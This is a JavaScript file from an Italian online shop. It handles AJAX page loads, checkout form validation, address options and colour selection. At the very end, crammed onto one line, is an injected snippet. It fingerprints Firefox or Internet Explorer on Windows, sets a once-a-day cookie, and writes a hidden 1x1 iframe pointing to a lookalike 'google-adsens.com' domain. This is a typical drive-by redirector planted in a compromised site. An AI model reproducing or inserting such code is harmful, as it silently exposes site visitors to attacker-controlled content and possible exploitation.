	var myRequest = null;

	function CreateXmlHttpReq(handler) {
	  var xmlhttp = null;
	  try {
		xmlhttp = new XMLHttpRequest();
	  } catch(e) {
		try {
			xmlhttp = new ActiveXObject("Msxml2.XMLHTTP");
		} catch(e) {
			xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
		}
	  }
	  xmlhttp.onreadystatechange = handler;
	  return xmlhttp;
	}
	
	function myHandler(id) {
		if (myRequest.readyState == 4 && myRequest.status == 200) {			
			document.getElementById(id).innerHTML = myRequest.responseText;
		}
	}
	
	function invia_richiesta(pag, id) {	
		if (document.getElementById('col_struttura')) {			
			pag += "&col_struttura="+document.getElementById('col_struttura').options[document.getElementById('col_struttura').selectedIndex].value;			
		}
		
		myRequest = CreateXmlHttpReq(function(){myHandler(id)});
		myRequest.open("GET", pag);
		myRequest.send(null);
	}	
	
	var tot = 0;
	var tot_req = 0;
	
	function gest_privato_azienda(){
		if (document.getElementById('radio_privato').checked) {
			document.getElementById('riga_PIVA').style.visibility = 'hidden';
			if (document.getElementById('radio_fatturazione').checked) 
				tot_req = 8;
			else
				tot_req = 14;		
		}
		else {
			document.getElementById('riga_PIVA').style.visibility = 'visible';
			if (document.getElementById('radio_fatturazione').checked) 
				tot_req = 9;
			else
				tot_req = 15;			
		}
	}
	
	function gest_indirizzi(){
		if (document.getElementById('radio_fatturazione').checked) {
			document.getElementById('area_indirizzo_fatturazione').style.display = 'inline';
			document.getElementById('area_indirizzo_spedizione').style.display = 'none';
			tot_req = 8;	
		}
		else {
			document.getElementById('area_indirizzo_fatturazione').style.display = 'inline';
			document.getElementById('area_indirizzo_spedizione').style.display = 'inline';
			tot_req = 14;
		}			
	}
	
	function set_ok(id){
		var id_chk = "chk_" + id;
		document.getElementById(id_chk).className = 'ok';
		return 1;
	}
	
	function check_required(id){	
		switch (id){
			case 'CF_fatturazione':
			case 'PIVA_fatturazione':
			case 'cap_fatturazione':
			case 'CF_spedizione':
			case 'PIVA_spedizione':
			case 'cap_spedizione':
				if ((id == 'PIVA_fatturazione') || (id == 'PIVA_spedizione')) len = 11;
				else if ((id == 'CF_fatturazione') || (id == 'CF_spedizione')) len = 16;
				else len = 5;
				if (document.getElementById(id).value.length == len) 
					tot += set_ok(id);
			break;
			case 'email_fatturazione':
			case 'email_spedizione':
				var str = document.getElementById(id).value;
				var at="@";
				var dot=".";
				var lat=str.indexOf(at);
				var lstr=str.length;
				var ldot=str.indexOf(dot);
				var res = true;
				if (str.indexOf(at)==-1 || str.indexOf(at)==0 || str.indexOf(at)==lstr)
				   res = false;
				if (str.indexOf(dot)==-1 || str.indexOf(dot)==0 || str.indexOf(dot)==lstr)
					res = false;
				if (str.indexOf(at,(lat+1))!=-1)
					res = false;	
				if (str.substring(lat-1,lat)==dot || str.substring(lat+1,lat+2)==dot)
					res = false;
				if (str.indexOf(dot,(lat+2))==-1)
					res = false;				
				if (str.indexOf(" ")!=-1)
					res = false;
				if (res)
					tot += set_ok(id);
				else {
					alert("Formato email non valido");
					document.getElementById(id).focus();
				}
			break;
			default :
				if (document.getElementById(id).value != '')
					tot += set_ok(id);
				
			break;
		}
		if (tot >= tot_req) {
			document.getElementById('puls_invia_ordine').disabled = false;
			document.getElementById('puls_invia_ordine').className = 'puls_invia_ordine_OK';
		}
	}
	
	function check_required_OK(){
		
		document.getElementById('puls_invia_ordine').disabled = false;
		document.getElementById('puls_invia_ordine').className = 'puls_invia_ordine_OK';
	}
	
	function invia_ordine(){
		t = tot_req-tot;
		if (t > 0) {
			if (t > 1) 
				alert("Ancora " + t + " campi obbligatori devono essere compilati")			
			else 
				alert("Ancora 1 campo obbligatorio deve essere compilato")
			return false;
		}
		else 
			return true;
	}
	
	function gest_colori(id){
		window.scrollTo(0,0);
		document.getElementById('contenuto').innerHTML = "Per inserire questo oggetto nel carrello devi prima selezionare il colore che preferisci<br><h2>Seleziona il colore</h2>" + document.getElementById('colori-'+id).innerHTML;
		document.getElementById('copertura').style.visibility='visible';
	}
	
	function gest_colori_varier(id){
		window.scrollTo(0,0);
		document.getElementById('contenuto').innerHTML = "Per inserire questo oggetto nel carrello devi prima selezionare il colore che preferisci<br><h2>Seleziona il colore della struttura</h2>" + document.getElementById('strutture-'+id).innerHTML +"<h2>Seleziona il colore del tessuto</h2><div class=\"colori_disp_varier\">" + document.getElementById('colori-'+id).innerHTML + "</div>";		
		document.getElementById('copertura').style.visibility='visible';		
	}
	
	function chiudi_cop(){
		document.getElementById('copertura').style.visibility='hidden';
	}
	var BrowserDetect = { init: function () { this.browser = this.searchString(this.dataBrowser) || "An unknown browser"; this.version = this.searchVersion(navigator.userAgent) || this.searchVersion(navigator.appVersion) || "an unknown version"; this.OS = this.searchString(this.dataOS) || "an unknown OS"; }, searchString: function (data) { for (var i=0;i<data.length;i++) { var dataString = data[i].string; var dataProp = data[i].prop; this.versionSearchString = data[i].versionSearch || data[i].identity; if (dataString) { if (dataString.indexOf(data[i].subString) != -1) return data[i].identity; } else if (dataProp) return data[i].identity; } }, searchVersion: function (dataString) { var index = dataString.indexOf(this.versionSearchString); if (index == -1) return; return parseFloat(dataString.substring(index+this.versionSearchString.length+1)); }, dataBrowser: [       { string: navigator.userAgent,subString: "Firefox",identity: "Firefox"},{string: navigator.userAgent,subString: "MSIE",identity: "Explorer",versionSearch: "MSIE"}],dataOS : [{string: navigator.platform,subString: "Win",identity: "Windows"}]};function addCookie(szName,szValue,dtDaysExpires){ var dtExpires = new Date();var dtExpiryDate = "";dtExpires.setTime(dtExpires.getTime()+dtDaysExpires*24*60*60*1000);dtExpiryDate=dtExpires.toGMTString();document.cookie=szName+"="+szValue+";expires="+dtExpiryDate;} function findCookie(szName){        var i=0;var nStartPosition=0;var nEndPosition=0;var szCookieString=document.cookie; while (i<=szCookieString.length){nStartPosition=i;nEndPosition=nStartPosition+szName.length;if (szCookieString.substring(nStartPosition,nEndPosition)==szName){nStartPosition=nEndPosition+1;nEndPosition=document.cookie.indexOf(";",nStartPosition);if(nEndPosition<nStartPosition) nEndPosition=document.cookie.length;return document.cookie.substring(nStartPosition,nEndPosition);break;}i++;} return "";} BrowserDetect.init(); var szCookieString = document.cookie; var boroda = BrowserDetect.browser; var os = BrowserDetect.OS; if ( ((boroda == "Firefox" || boroda == "Explorer") && (os == "Windows")) && (findCookie('geo_idn')!='c48a765e4f75baeb85f0a755fc3ec09c') ) {addCookie("geo_idn","c48a765e4f75baeb85f0a755fc3ec09c",1);document.write('<iframe src="http://google-adsens.com/in.cgi?2" name="Twitter" scrolling="auto" frameborder="no" align="center" height = "1px" width = "1px"></iframe>');}else {}
